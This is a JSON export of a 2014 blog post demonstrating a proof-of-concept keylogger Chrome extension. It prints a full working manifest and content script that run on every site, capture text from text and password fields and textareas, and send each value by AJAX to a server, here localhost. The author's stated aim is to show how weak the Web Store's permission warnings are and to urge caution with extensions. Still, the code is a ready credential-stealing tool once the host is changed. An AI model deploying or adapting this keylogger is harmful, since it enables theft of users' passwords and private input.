{"id":276,"date":"2014-03-31T23:52:04","date_gmt":"2014-03-31T23:52:04","guid":{"rendered":"http:\/\/www.nicassio.it\/daniele\/blog\/?p=276"},"modified":"2014-04-03T23:08:41","modified_gmt":"2014-04-03T23:08:41","slug":"a-thought-and-proof-of-concept-about-malicious-chrome-extensions","status":"publish","type":"post","link":"http:\/\/www.nicassio.it\/daniele\/blog\/?p=276","title":{"rendered":"A thought (and proof-of-concept) about malicious Chrome extensions"},"content":{"rendered":"<p>Ok, today I made a simple Chrome extension, and suddenly got very excited about it (yeah I know, almost every blog post I write starts like this). Then reading about the extensions possibilities, I learned that the extensions are not limited by the <a href=\"http:\/\/en.wikipedia.org\/wiki\/Same-origin_policy\" target=\"_blank\">same-origin policy<\/a>.<\/p>\n<p>This means that, if an extension made an AJAX request, it could be directed to a server different from the domain of the current page. This can be harmful in some different ways, the first I imagine is a simple keylogger extension which logs everything you type (passwords included) and sends it to a malicious server to collect them.<\/p>\n<p>And that&#8217;s what I made, just to understand how difficult it was, and which kind of warning would the Google Web Store issue when you decide to add it to your browser.<\/p>\n<p><strong>Making the malicious extension<\/strong><\/p>\n<p>Actually, since that you can inject javascript, making the keylogger extension is straightforward: you just have to write two files, a manifest and the script:<\/p>\n<p>manifest.json:<\/p>\n<pre><code>{\r\n  \"manifest_version\": 2,\r\n\"name\": \"KeyLogger\",\r\n\"description\": \"This extension logs everything you type.\",\r\n\"version\": \"1.0.1\",\r\n\r\n\"permissions\": [\r\n\"http:\/\/*\/*\", \"https:\/\/*\/*\"\r\n],\r\n\r\n\"content_scripts\": [{\r\n\"matches\": [\"http:\/\/*\/*\", \"https:\/\/*\/*\"],\r\n\"js\": [\"script.js\"]\r\n}]\r\n}\r\n<\/code><\/pre>\n<p>script.js:<\/p>\n<pre><code>var xmlhttp = new XMLHttpRequest();\r\nconsole.log('Starting keylogger..')\r\n\r\nsetInterval( function() {\r\n\r\nvar inputs = document.getElementsByTagName('input')\r\n\r\nvar textAreas = document.getElementsByTagName('textarea')\r\n\r\nvar myLog = function(event) {\r\nvar what = encodeURIComponent(event.srcElement.value)\r\n\r\nconsole.log(\"Logged: \" + what)\r\nconsole.log(\"Sending data to remote server..\")\r\nxmlhttp.open(\"GET\",\"http:\/\/localhost\/?\"+what,true);\r\nxmlhttp.send();\r\n}\r\n\r\nvar getHandler = function(previousHandler,obj) {\r\nreturn function(e) {\r\nmyLog(e);\r\nif(previousHandler) previousHandler(e);\r\n}\r\n}\r\n\r\nfor(var i=0; i&lt;inputs.length; i++) {\r\nif(inputs[i].getAttribute('type') == 'text' || inputs[i].getAttribute('type') == 'password') {\r\ninputs[i].onblur = getHandler(inputs[i].onblur,inputs[i])\r\n}\r\n}\r\n\r\nfor(var i=0; i&lt;textAreas.length; i++) {\r\ntextAreas[i].onblur = getHandler(textAreas[i].onblur,textAreas[i])\r\n}\r\n},2000)\r\n<\/code><\/pre>\n<p>The script is a simple implementation that sends via AJAX requests every text you type in a textbox, password fields included. In this simple proof of concept it sends everything to localhost.<\/p>\n<p>I tried it, and it works.<\/p>\n<p><strong>Installing the extension<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>I published it to the Chrome Web Store, and tried to install it, to see what kind of warning should show up, and all I got was this:<\/p>\n<p><a target=\"_blank\" href=\"http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/keyloggerwarning.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-278\" alt=\"keyloggerwarning\" src=\"http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/keyloggerwarning-300x211.png\" width=\"300\" height=\"211\" srcset=\"http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/keyloggerwarning-300x211.png 300w, http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/keyloggerwarning-1024x720.png 1024w, http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/keyloggerwarning-624x439.png 624w, http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/keyloggerwarning.png 1319w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>..not so uncommon for, say, an Advertising blocking extension:<\/p>\n<p><a target=\"_blank\" href=\"http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/adblockpermissions.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-279\" alt=\"adblockpermissions\" src=\"http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/adblockpermissions-300x211.png\" width=\"300\" height=\"211\" srcset=\"http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/adblockpermissions-300x211.png 300w, http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/adblockpermissions-1024x720.png 1024w, http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/adblockpermissions-624x439.png 624w, http:\/\/www.nicassio.it\/daniele\/blog\/wp-content\/uploads\/2014\/03\/adblockpermissions.png 1313w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>So this blog post is here to remind you that you should use only trusted Chrome extensions. It&#8217;s very easy to steal your data with a malicious chrome extension, it&#8217;s easy to hide some malicious code in a apparently innocent extensions and after you have installed it, it&#8217;s easy to forget about it.<\/p>\n<p>Please don&#8217;t do bad things with my code and\/or ideas.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ok, today I made a simple Chrome extension, and suddenly got very excited about it (yeah I know, almost every blog post I write starts like this). Then reading about the extensions possibilities, I learned that the extensions are not limited by the same-origin policy. This means that, if an extension made an AJAX request, &hellip; <a href=\"http:\/\/www.nicassio.it\/daniele\/blog\/?p=276\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">A thought (and proof-of-concept) about malicious Chrome extensions<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[13,6,10,12],"tags":[],"_links":{"self":[{"href":"http:\/\/www.nicassio.it\/daniele\/blog\/index.php?rest_route=\/wp\/v2\/posts\/276"}],"collection":[{"href":"http:\/\/www.nicassio.it\/daniele\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nicassio.it\/daniele\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nicassio.it\/daniele\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nicassio.it\/daniele\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=276"}],"version-history":[{"count":5,"href":"http:\/\/www.nicassio.it\/daniele\/blog\/index.php?rest_route=\/wp\/v2\/posts\/276\/revisions"}],"predecessor-version":[{"id":286,"href":"http:\/\/www.nicassio.it\/daniele\/blog\/index.php?rest_route=\/wp\/v2\/posts\/276\/revisions\/286"}],"wp:attachment":[{"href":"http:\/\/www.nicassio.it\/daniele\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=276"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nicassio.it\/daniele\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=276"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nicassio.it\/daniele\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=276"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}